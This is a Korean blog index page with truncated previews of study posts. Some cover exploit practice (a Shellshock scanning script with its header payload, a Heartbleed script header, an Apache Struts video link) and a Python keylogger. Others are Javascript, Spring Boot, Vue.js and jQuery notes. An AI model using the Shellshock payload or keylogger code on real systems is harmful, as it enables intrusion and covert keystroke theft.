본문 바로가기

전체 글56

10. 웹 해킹 이론, 실습 실습환경 : Bbox 2020. 6. 10.
3. CVE-2014-6271 (ShellShock) #Title: Shell Shock Auto Exploitation Script # Author: Rafay Baloch import requests,sys if (len(sys.argv) < 2): print "Usage: shocktest.py file.txt" exit(0) def main(): file = sys.argv[1] with open(file) as f: file = f.read().splitlines() for url in file: cmd="() { test;};/bin/nopatchobfu" headers = {'user-agent': cmd} r=requests.get(url, headers=headers) if r.status_code == 500: print url,"is V.. 2020. 6. 9.
2. CVE-2014-0160 (Heartbleed) #!/usr/bin/python # Modified by Travis Lee # Last Updated: 4/21/14 # Version 1.16 # # -changed output to display text only instead of hexdump and made it easier to read # -added option to specify number of times to connect to server (to get more data) # -added option to send STARTTLS command for use with SMTP/POP/IMAP/FTP/etc... # -added option to specify an input file of multiple hosts, line de.. 2020. 6. 9.
1. CVE-2017-1278 (Aapache Struts) www.youtube.com/watch?v=-A2p_94Jwso 2020. 6. 9.
2. Python 키로거(Keylogger) import sys from ctypes import * from ctypes.wintypes import MSG from ctypes.wintypes import DWORD user32 = windll.user32 kernel32 = windll.kernel32 WH_KEYBOARD_LL = 13 WM_KEYDOWN = 0x0100 CTRL_CODE = 162 saveKey=[] class keyLogger: def __init__(self): self.lUser32 = user32 self.hooked = None def installHookProc(self, pointer): self.hooked = self.lUser32.SetWindowsHookExA( WH_KEYBOARD_LL, pointer.. 2020. 6. 9.
1. Javascript github.com/h232ch/javascript h232ch/javascript javascript basic. Contribute to h232ch/javascript development by creating an account on GitHub. github.com Javascript 문법의 기본 개념을 예제 코드로 작성 2020. 6. 9.
3. Spring Framework 기반 웹 프로젝트 1. 프로젝트명 - eatgo 2. 기능 - 공통기능 : 회원가입, 로그인, 세션관리(JWT) - 주인 서비스 : 예약관리, 메뉴관리, 가게관리 - 고객 서비스 : 가게, 메뉴 찾기, 예약, 예약확인 3. 사용기술 - 백엔드 : SpringBoot, JPA, MySQL, Junit4 - 프론트 : NPM, Vue.js 4. 사용법 5. 소스링크 : github.com/h232ch/eatgo h232ch/eatgo Contribute to h232ch/eatgo development by creating an account on GitHub. github.com 2020. 6. 9.
1. Vue.js 1. vuejs란? - MVVM 패턴의 뷰모델 레이어에 해당하는 화면단 라이브러리 - View -> DOM Listener -> Model View에서 이벤트가 발생하면 DOM Listener로 이벤트가 전달됨 - Model에서는 자바스크립트에 지정된 특정 로직을 실행함 -> 로직이 적용된 데이터를 Data Bindings로 전달 -> 화면에 반영 (View) - Vuejs 영역은 Dom Listeners, Data Bindings 이다 2. 뷰 리액티비티 : 뷰의 반응성 3. 뷰 인스턴스 - new Vue(); // 아래와 같이 사용 - var vm = new Vue(); - Vue()는 생성자 인스턴스임 function Vue(){ ~~~ } - 우리는 Vue 생성자로 인스턴스화한 객체를 이용하여 V.. 2020. 6. 9.
1. Jquery github.com/h232ch/jquery h232ch/jquery jqeury basic. Contribute to h232ch/jquery development by creating an account on GitHub. github.com Jquery 문법의 기본 개념을 예제 코드로 작성 2020. 6. 9.